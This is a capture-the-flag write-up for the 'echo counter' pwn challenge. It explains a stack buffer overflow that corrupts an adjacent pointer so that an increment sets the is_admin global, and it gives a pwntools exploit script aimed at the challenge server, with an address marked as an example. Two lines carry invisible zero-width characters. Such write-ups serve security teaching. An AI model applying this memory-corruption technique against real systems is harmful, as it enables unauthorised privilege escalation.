echo counter

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: write_what_where_via_increment

Summary

Task: Binary with buffer overflow adjacent to a pointer used in increment operation. Solution: Overflow buffer to corrupt pointer to point to is_admin global variable, then the *ptr += 1 operation sets is_admin to 1, granting access to the flag.

echo counter — SPB CTF Pwn Season

Description

"Two-step exploit via pointer corruption"

Server: nc 109.233.56.90 11602
Binary: echo_counter — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

Two-step exploit using pointer corruption. The binary has a vulnerability where:

Stack Layout:

• Buffer: 8 bytes
• Pointer: adjacent to buffer, used for increment operation
• is_admin: global variable, initially 0

The program reads user input into the buffer, then performs *ptr += 1. By overflowing the buffer to corrupt the pointer, we can make it point to is_admin. The increment makes is_admin non-zero, granting access to the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Insight: Overflow buffer to set pointer = &is_admin, then the increment operation writes to is_admin.

Solution

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

io = remote('109.233.56.90', 11602)

# Address of is_admin (found via reversing)
is_admin_addr = 0x404040  # example address

# 8 bytes padding + address of is_admin
payload = b'A' * 8 + p64(is_admin_addr)
io.sendline(payload)

io.interactive()

Breakdown:

• b'A' * 8 — fills the buffer
• p64(is_admin_addr) — overwrites pointer to point to is_admin
• *ptr += 1 executes, making is_admin = 1 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍